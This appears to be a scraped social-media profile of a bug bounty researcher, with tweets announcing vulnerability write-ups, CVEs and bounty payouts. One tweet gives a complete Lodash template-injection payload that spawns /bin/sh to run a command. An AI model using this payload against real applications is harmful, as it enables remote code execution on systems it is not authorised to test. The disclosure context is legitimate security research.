Did a Write up of Vimeo SSRF , It was an interesting one. RT if you like it.
Harsh Jaiswal
3,273 posts
Harsh Jaiswal
@rootxharsh
Building @hacktronai | researching at @httpvoid0x2f | auditing at
@cure53berlin | prev @zomato @vimeo @pdiscoveryio
Joined April 2015
- Sat down with @iamnoooob and worked on the recent Mobileiron MDM RCE by @orange_8361 and what a great find, Here's an RCE PoC using JNDI Injection via local classloading reference triggered using Hessian deserialization as stated in the blog. github.com/iamnoooob/CVE-…
- Finally got the approval, Here are multiple Linode's access token stealing/account takeover bugs, I like the second one. Retweet if you like it. #bugbounty
- Exploited Lodash SSTI with @iamnoooob via process binding spawn_sync. Here's a tweetable RCE PoC ${x=Object}${w=a=new x}${w.type="pipe"}${w.readable=1}${w.writable=1}${a.file="/bin/sh"}${a.args=["/bin/sh","-c","id"]}${a.stdio=[w,w]}${process.binding("spawn_sync").spawn(a).output}
- Follow me for more chrome 0dayzzzz #bugbountytip #bugbounty #p1 #chrome_0day #googlevrp #nice_catch /s
- Here’s our Apple RCE writeup!I and @rootxharsh found and exploited a 0Day RCE in Apple's Travel Portal and were rewarded with $50K. Here's the write-up for that: github.com/httpvoid/write…
- After more than two years of hacking on @Vimeo, Am excited to share that am joining them as Application Security Engineer 🤘. Its time to go on the other side!
- FYI - this is what the triagers go through on daily basis in mass amounts. oof.
- We've been assigned with CVE-2021-41349 for pre-auth Reflected XSS in MS Exchange. Found this with @iamnoooob months back while playing with Proxyshell lol. github.com/httpvoid/CVE-R… msrc.microsoft.com/update-guide/v…
- There's a lot of blind following in infosec. Sometimes, fame is valued more than skills.
- $30k goal by @bhavukjain1 is completed. Me and @tweetrpersonal9 just got $30k from @PayPalInfoSec at @Hacker0x01
- Sat down with @iamnoooob and did this Exiftool (CVE-2021-22204) RCE. Nice one @wcbowling! Now let's try to fit this in a jpeg.
